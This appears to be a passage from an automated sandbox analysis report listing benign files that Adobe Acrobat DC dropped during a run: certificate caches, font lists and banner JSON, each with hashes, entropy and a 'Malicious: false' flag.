SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkluQVltfllXlE/HT8ktTh1NNX8RolJuRdxLlGB9lQRYwpDdt:kK3QPeT8kTRNMa8RdWBwRd
MD5:	CF1F1810D64D56144FAF595301547141
SHA1:	91D4628EA7A7938D0592FF020F4CAA056C796498
SHA-256:	03569BE569801CB6EC9D1118453A857473E399A0A1CE7CDAF9D0C360A622991F
SHA-512:	450EF83ADF7D372DF617A1C7AB0B03A88642EF7CD11D26BBF540E6F2C28876D4275E4F97EB673A5CAC71817A58EE1AE4EB512956193C171A25540915F7208B5A
Malicious:	false
Preview:	p...... .........4..c..(....................................................... ..........W....H...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKHTpsL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:vTyiDnLNkPlE99SNxAhUe/3
MD5:	795CC3CAEAFE25E746A2674B055CFBA9
SHA1:	F5588A1B1B34E823F94379D83AA5ED5F9B09A424
SHA-256:	984F9D768851A330362AE8D17384DA767B7F59FA89444468F447937CA351D99B
SHA-512:	029F2E65349155EE504604A4DA39DBDD8FC9B04A9481A6D3F2223F44FF7A8FA98595F49561DE4610D503A188D4CD0CAD9C7CE2B2BA9F36445CD363AA6797722D
Malicious:	false
Preview:	p...... ..........6.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5448

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5448

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364534712333036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJM3g98kUwPeUkwRe9:YvXKXBXDuHF0chXXVVGMbLUkee9
MD5:	92BFA6F99B3C9770AF7CFED300E8B1A2
SHA1:	5C2987C3C661B6F8520B17CA66432A9F3DBC5E60
SHA-256:	5F42AF075C3258D6B66DD134F9A87211ABF71E775BC8A33EB20AFFFBFF3B5FB4
SHA-512:	E750C35A6C4D6D0AF7306B977AE1669A6B075117EB8B55442894BCD60C3FB1159A4BBB6826709FEA1AEEECA43D0D75B584FEEDA96643BF20602EC17689BB7FE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315070683116014
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfBoTfXpnrPeUkwRe9:YvXKXBXDuHF0chXXVVGWTfXcUkee9
MD5:	C4D3B519CF7449A3448C8CBC209C8883
SHA1:	575B2C9837C022C299948B1FDBE9A903E5A85D9C
SHA-256:	2A019E662EF435AC2D72145F1BC253A6430C53D6F5F791F1A0D8F011031D7333
SHA-512:	848D2FCA59F15B95F08DC77A1D9A46E690E435E73C4482EE1C3C1491804EB7239A8974369D2E7AF4C0047A981B486CBA0B00E5C2B4572D23ED6A1757829CC03C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293618999642018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBXDuHF0chXXVVGR22cUkee9
MD5:	9A34E09F8550C6D2DB9A8AEB2E288152
SHA1:	A3CC2B2FFC9B70400FBB71166C5E2455AE40429A
SHA-256:	9F5797840E2996CB000187A59AF467EB3589FF2A8910B9CAFA856B22861AE0A2
SHA-512:	98A7FAEF1A30A80CBCCB6424E949692371224530D73F76F1FFA566F358331BA998A575CBAE5D88F1907F1C822ECC4CAA4DCAD84D6712F9775193E6C9FB13A879
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.344598387155424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfPmwrPeUkwRe9:YvXKXBXDuHF0chXXVVGH56Ukee9
MD5:	BA92BEFF2952DDF359865E3F675BB3EF
SHA1:	D3308E32486355905CB37A5CD2CB4D2AB6410BFA
SHA-256:	09DE80AE569D21C87CA9EFBFD68C6BE51ECB16D267728D1A73CD22CADA4F1565
SHA-512:	56D4469481560C0BC240ED31F721724E4BAE6F52A86C8C4BC258BBBD6341BF5F3F513DF790BCABB4CB97280DF091697EDAA7A2C58861B8470BFF4BBCA8940121
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690147233745871
Encrypted:	false
SSDEEP:	24:Yv6XBalZhHspLgE9cQx8LennAvzBvkn0RCmK8czOCCSr:YvEaWhgy6SAFv5Ah8cv/r
MD5:	1F249092C629D96B490CD76E1202EA2A
SHA1:	6368AAB1C39163BECF1528623662DF07EB7ED3FA
SHA-256:	E8692F1152CC4E04AFF43349DC5D5FD474E4A7207E1ECB41F8F5D2B52B7694D2
SHA-512:	7C9FC06DFEC0903EC4116AC797E8E534C1FD295586F9674C581F299AF13E062E0E290152C16BA67454C4CF2732267A4E8F6FF6F328E69ADE5EE1B0FC6A0F09FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295485390874479
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJf8dPeUkwRe9:YvXKXBXDuHF0chXXVVGU8Ukee9
MD5:	8F3084C85919F84CD6A82F78B7482323
SHA1:	DC5C0575E0B8D249A4B7523F119346F27F9E38BE
SHA-256:	2C0D22DE9E65DC5ED008F6AF6A10985D079B802FF493EBD54635159161CEC7E6
SHA-512:	ACC11C2E36B86B43D3A4BDFD5B30B934D45D386CE7B94FA5D82284768C6B1CA2DCD9CED82E85EF9BF567C29FC62D68A782F76B36EC8FF725F89DFF36422848A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297875028606324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfQ1rPeUkwRe9:YvXKXBXDuHF0chXXVVGY16Ukee9
MD5:	F9E8719274528FA670FF137ED5F67357
SHA1:	10E13E7A91DF1303A0A1AB70D1EC393C9CE1E588
SHA-256:	FF39DB4ECCFBB04F737E9F17C3CD5EAD92D90074A31385508A10D64CE0B816BD
SHA-512:	3B15F292DEB43E4C082ED1CA62DF42119080ACD6AE2D141912CDD91257A99C4F2992C02D89E2746F0C7734C882F2D05AFE92FEBD0E33E1107444289D8542A5D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306975099311645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfFldPeUkwRe9:YvXKXBXDuHF0chXXVVGz8Ukee9
MD5:	0C1A931F68120880797792CCE67B3151
SHA1:	4A42491DA6290908B2D0039FE2D28BD291A4426A
SHA-256:	B5E66826229121BF8D65FBB8AD95BF3E022FEB2DDFED6066DEA54CE3746D87CD
SHA-512:	6680A5052FEAE15881524A7479170D5D4515735E5D860DF5D3F6D5F2BF00FA920556D081FFC8B2376AB5AEAF3F83DAC437EF67A1AC527423A48FA73498488A7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322541622416728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfzdPeUkwRe9:YvXKXBXDuHF0chXXVVGb8Ukee9
MD5:	7990D6D720DB0FA4E6014E348B9D8778
SHA1:	4CFFC3F7F2B07F40E7D8E93AEE2E45878BCF439A
SHA-256:	8AD4F32603D9F8DA8DD4CF3C208F1411B46CF52D7E1DC60DF5F8400E28512507
SHA-512:	FA9B771556E11A98C9917E9D2E6D730507496A53A4616288B0927AECE474336B8A38403478803664BB63C7A0DF26FA3FD2892E8756DE8ADB79195FB6E55D7653
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6c525fc7-4810-436e-afe4-9ff39d55392b","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736727502022,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3029575263860504
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXDuHWa0nZiQ0YyXXVeoAvJfYdPeUkwRe9:YvXKXBXDuHF0chXXVVGg8Ukee9
MD5:	387165EAE942323ACDFFEB2A31634923
SHA1:	638E6E8D1251121E77AEB8EA702110FE884884C8
SHA-256:	1205DC4AEC5E884E996AF27CBA1B71535EBA82B3A623ABE19D620FB1229E15EA
